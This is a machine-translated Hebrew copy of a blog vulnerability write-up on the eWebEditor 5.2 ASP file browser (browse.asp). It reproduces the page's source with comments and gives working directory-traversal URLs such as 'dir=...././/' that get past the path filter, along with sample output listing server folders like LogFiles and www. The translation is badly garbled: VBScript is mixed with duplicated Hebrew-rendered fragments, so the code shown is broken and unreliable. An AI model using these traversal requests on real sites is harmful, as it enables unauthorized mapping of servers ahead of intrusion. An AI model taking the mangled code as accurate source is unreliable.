ewebeditor 5.2 קטלוג פגיעויות הסדרה
: St0p
תחנת לבד עם עורך לפני שלהם לייעל ewebeditor גרסה 5.2 ASP לעבודה עייף, לנוח, עורך לא חשב באמת מצאתי פירצה קטנה, אם כי תפקידו של עם זאת לא להשתמש בהם כדי לסייע או רע.
להגיש פירצה קיימת ewebeditor / ASP / browse.asp
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | לתפקד GetList () דים s_List, s_Url s_List = "" דים oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName "Response.write sCurrDir "על שגיאה קורות הבא Server . CreateObject ( "Scripting.FileSystemObject" ) סט oFSO = Server. CreateObject ("Scripting.FileSystemObject") oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) הגדר oUploadFolder = oFSO. GetFolder (Server. MapPath (sCurrDir)) "שימו לב sCurrDir המשתנים, אנו יכולים להשתמש ערך זה > 0 Then אם לטעות מספר> 0 אז s_List = "" יציאה פונקציה סוף אם "" Then אם sDir <> "" אז sDir, "/" ) > 1 Then אם InstrRev (sDir "/")> 1 אז sDir, InstrRev ( sDir, "/" ) - 1 ) s_Url = שמאל (sDir, InstrRev (sDir "/") - 1) אחר s_Url = "" סוף אם "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ s_List = s_List & "onmouseover='doRowOver(this)' <tr onmouseout='doRowOut(this)' onclick='doRowClick(this)' isdir='true' path='" & s_Url "'> &" & _ _ <td> <img Border=0 src='../sysimage/file/parentfolder.gif'> </ td> "& _ _ <td> .. </ td> "& _ _ "<td> </ Td>" & _ "</ Tr> סוף אם "Response.write sDir &" "& S_List דים oSubFolder oUploadFolder. SubFolders עבור כל אחד oSubFolder oUploadFolder תיקיות משנה. של Response.write oUploadFolder.SubFolders "" Then אם sDir = "" אם כך, s_Url = oSubFolder. שם אחר "/" & oSubFolder. Name s_Url = sDir & "/" & oSubFolder. שם סוף אם "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ s_List = s_List & "onmouseover='doRowOver(this)' <tr onmouseout='doRowOut(this)' onclick='doRowClick(this)' isdir='true' path='" & s_Url "'> &" & _ _ <td> <img Border=0 src='../sysimage/file/closedfolder.gif'> </ td> "& _ oSubFolder. Name & "</td>" & _ "<td NoWrap>" &. OSubFolder שם & "</ td>" & _ _ "<td> </ Td>" & _ "</ Tr> הבא "Response.write s_List oUploadFolder. Files OUploadFiles הגדר = oUploadFolder קבצים. oUploadFiles עבור כל oUploadFile ב oUploadFiles "Response.write oUploadFile.Name sFileName = oUploadFile. שם sFileName ) = True Then אם CheckValidExt (sFileName) = נכון אז "קו זה היה קצת מדוכא, בדיקה של כל קובץ סיומת מותר, כגון אי מותר לא ניתן הרשומים או לא לרשום רק את שם הספריה ותמונה קבצים "" Then אם sDir = "" אם כך, sFileName s_Url = sContentPath & sFileName אחר sDir & "/" & sFileName s_Url = sContentPath & sDir & "/" & sFileName סוף אם "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ s_List = s_List & "onmouseover='doRowOver(this)' <tr onclick='doRowClick(this)' onmouseout='doRowOut(this)' url='" & s_Url "'> &" & _ FileName2Pic ( sFileName ) & "</td>" & _ "<td>" & FileName2Pic (sFileName) & "</ td>" & _ sFileName & "</td>" & _ "<td NoWrap>" & sFileName & "</ td>" & _ GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "<td Align=right>" & GetSizeUnit (גודל oUploadFile.) & "</ td>" & _ "</ Tr> סוף אם הבא Nothing הגדר = שום דבר לא oUploadFolder Nothing OUploadFiles הגדר = שום דבר "Response.write Server.HTMLEncode (s_List) &" "& S_Url "" Then אם sDir = "" אם כך, s_Url = "" "S_Url =" / " אחר & sDir & "" s_Url = "/" & sDir & "" "S_Url =" / "& sDir &" / " סוף אם "</table>" s_List = s_List & "</ table>" s_List ) s_List = HTML2JS (s_List) "Response.write Server.HTMLEncode (s_List) &" "& S_Url & s_List & "" ", " "" & s_Url & "" ")" s_List = "parent.setDirList (" "" & s_List & "" "" "" & s_Url & "" ")" GetList = s_List סוף פונקציה "אם אתה לא לדרוך זיהוי, אמור להיות מסוגל להציג את כל הקבצים בספריה, וקצת מדוכא .. עכשיו רשום רק את שמות הקבצים והספריות לאפשר הסיומת s_FileName ) פונקציה CheckValidExt (s_FileName) "" Then אם sAllowExt = "" אם כך, CheckValidExt = True יציאה פונקציה סוף אם דים אני, aExt, בצהריים ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) בצהריים = LCase (MID (s_FileName, InStrRev (s_FileName ".") + 1)) CheckValidExt = False LCase ( sAllowExt ) , "|" ) aExt = Split (LCase (sAllowExt), "|") 0 To UBound ( aExt ) עבור i = 0 עד UBound (aExt) i ) = sExt Then אם aExt (i) = בצהריים ואז CheckValidExt = True יציאה פונקציה סוף אם הבא סוף פונקציה "אנו מוצאים את הקוד, מצא sCurrDir ערך שווה הבאה תת InitParam () ( Trim ( Request . QueryString ( "type" ) ) ) sType = UCase (Trim (את הבקשה. QueryString ("סוג"))) ( Request . QueryString ( "style" ) ) sStyleName = Trim (Request. QueryString ("סגנון")) דים אני, aStyleConfig, bValidStyle bValidStyle = False 1 To Ubound ( aStyle ) עבור i = 1 כדי UBound (aStyle) aStyle ( i ) , "|||" ) aStyleConfig = Split (aStyle (אני), "| | |") ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then אם Lcase (sStyleName) = Lcase (aStyleConfig (0)) אז bValidStyle = True יציאה סוף אם הבא False Then אם bValidStyle = False לאחר מכן ) OutScript ("alert (" סגנון לא חוקי. ")") סוף אם 19 ) sBaseUrl = aStyleConfig (19) "NAllowBrowse = CLng (aStyleConfig (43)) nAllowBrowse = 1 1 Then אם nAllowBrowse <> 1 אז ) OutScript ("alert (" אל תאפשר לגלוש! ")") סוף אם 3 ) sUploadDir = aStyleConfig (3) sUploadDir, 1 ) <> "/" Then אם השמאל (sUploadDir, 1) <> "/" אז בחר sType מקרה במקרה "מרחוק" & sUploadDir & "Image/" sUploadDir = ".. / .. /" & sUploadDir & "תמונה /" במקרה "קובץ" & sUploadDir & "Other/" sUploadDir = ".. / .. /" & sUploadDir & "אחר /" במקרה "מדיה" & sUploadDir & "Media/" sUploadDir = ".. / .. /" & sUploadDir & "מדיה /" במקרה "פלאש" & sUploadDir & "Flash/" sUploadDir = ".. / .. /" & sUploadDir & "Flash /" במקרה אחר & sUploadDir & "Image/" sUploadDir = ".. / .. /" & sUploadDir & "תמונה /" בסופו של דבר בחר סוף אם "SUploadDir = sUploadDir &" / " בחר sBaseUrl מקרה במקרה "0" "= SContentPath aStyleConfig (23) בחר sType מקרה במקרה "מרחוק" & aStyleConfig ( 3 ) & "Image/" sContentPath = ".. /" & aStyleConfig (3) & "תמונה /" במקרה "קובץ" & aStyleConfig ( 3 ) & "Other/" sContentPath = ".. /" & aStyleConfig (3) & "אחר /" במקרה "מדיה" & aStyleConfig ( 3 ) & "Media/" sContentPath = ".. /" & aStyleConfig (3) & "מדיה /" במקרה "פלאש" & aStyleConfig ( 3 ) & "Flash/" sContentPath = ".. /" & aStyleConfig (3) & "Flash /" במקרה אחר & aStyleConfig ( 3 ) & "Image/" sContentPath = ".. /" & aStyleConfig (3) & "תמונה /" בסופו של דבר בחר במקרה "1" sUploadDir ) = sContentPath RelativePath2RootPath (sUploadDir) במקרה "2" RelativePath2RootPath ( sUploadDir ) ) sContentPath = RootPath2DomainPath (RelativePath2RootPath (sUploadDir)) בסופו של דבר בחר בחר sType מקרה במקרה "מרחוק" 10 ) sAllowExt = aStyleConfig (10) במקרה "קובץ" 6 ) sAllowExt = aStyleConfig (6) במקרה "מדיה" 9 ) sAllowExt = aStyleConfig (9) במקרה "פלאש" 7 ) sAllowExt = aStyleConfig (7) במקרה אחר 8 ) sAllowExt = aStyleConfig (8) בסופו של דבר בחר sCurrDir = sUploadDir "שים לב כי זה הוגדר כתובת נתיב ( Request ( "dir" ) ) '得到dir变量 sDir = Trim (Request ("דיר")) 'המשתנה dir ( sDir, "\" , "/" ) '对dir变量进行过滤 sDir של sDir = החלף ("\", "/") משתנה dir "לסנן ( sDir, "../" , "" ) sDir = החלף (sDir, ".. /", "") ( sDir, "./" , "" ) sDir = החלף (sDir. "/", "") "" Then אם sDir <> "" אז Server . Mappath ( sUploadDir & sDir ) ) = True Then אם CheckValidDir (Server. MapPath (sUploadDir & sDir)) = נכון אז sDir & "/" sCurrDir = sUploadDir & sDir & "/" "דגש על כאן, ראה שלא היה קיים כאשר sUploadDir & sDir, sCurrDir על הערך sUploadDir & sDir "אמנם על פני sDir סינון, אבל אנחנו יכולים לדלג על st0p שימוש ספציפיים תינתן בשימוש הבאה אחר sDir = "" סוף אם סוף אם End Sub |
היי, רואים את זה אתה צריך להבין את זה, למעשה, סינון הוא dir, אנחנו יכולים לבנות ערך מיוחד לדלג על האימות, כך שתוכל לקבל את מבנה הספריות ולהציג את הקובץ עם סיומת של קבצים מותר בקובץ ההגדרות ..
שימוש בשיטות הן כדלקמן
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=..../.// ..
מבחן st0p ספריית ההעלאה היא השורש של uploadfile כתובת מעל אתה יכול לקבל את כל ספריות בספריית השורש.
היי, אם אתה מוצא את התצוגה פתוח ריק, לא לאבד את הלב, לראות את קוד המקור, לראות אותך, מה יהיה בספריית השורש שלך שם את הספרייה.
הוא לעקור במדריך יש ספרייה אורח, אנו יכולים לרשום את הכתובת הבאה המבנה הבא שלו
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/...././/guest
אז אנחנו גם יכולים
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/../..../.// ..
קפיצה אל שכבות גבוהות יותר, מבחן וירטואלי המארח שלי, לקבל את המדריך של 3, datebase www, קובץ היומן.
<HTML> <meta <HEAD> Http-equiv='Content-Type' content='text/html; charset=utf-8'> <TITLE> eWebEditor </ title> </ head> <body> <שפת סקריפט = javascript> parent.setDirList ("onmouseover='doRowOver(this)' <tr onmouseout='doRowOut(this)' onclick='doRowClick(this)' isdir='true' path='../..'> <td > <img border=0 src='../sysimage/file/parentfolder.gif'> </ td> <td> .. </ td> <td> </ td> </ tr> <tr onclick = 'doRowClick (זה) "onMouseOver" doRowOver (זה) "onmouseout = =' doRowOut (זה)" isdir = דרך "נכונה" = ".. / .. / .. / LogFiles"> <td> <הגבול img = 0 src = ".. / sysimage / קובץ / closedfolder.gif"> </ td> <td noWrap> LogFiles </ td> <td> </ td> </ tr> <tr doRowClick onclick = '(זה ) "onMouseOver = 'doRowOver (זה)" onmouseout = "doRowOut (זה)" isdir = "" path = "נכון .. / .. / .. / www'> <td> <img הגבול = 0 src =". . / sysimage / קובץ / closedfolder.gif "> </ td> <td noWrap> www </ td> <td> </ td> </ tr> </ table>", "/ .. / .. / .. ") </ script> </ body> </ html> |
פגיעות זו יכולה להיחשב רק כאשר השימוש העזר של גילוי פריצה, אתה יכול לקבל את מבנה הספריות, למשל, ניהול שינויים המדריך, המדריך מסד נתונים, כך שתוכל לקבל שם ספרייה, אבל אני לא יכול לפרט קבצים שלא st0p מדוכא. אני ....
זהו המסמך המקורי 2 שהוציא st0p בבלוג, אחרי נפוצה, GA, הוא נחשב גם עכשיו הבלוג נפתח ..
הערה: קפיצה במדריך באתר האינטרנט משמש את כל מצאתי ביממה יוחלף










































258 Trackback (ים)
עליך להיות מחובר בכדי לפרסם תגובה.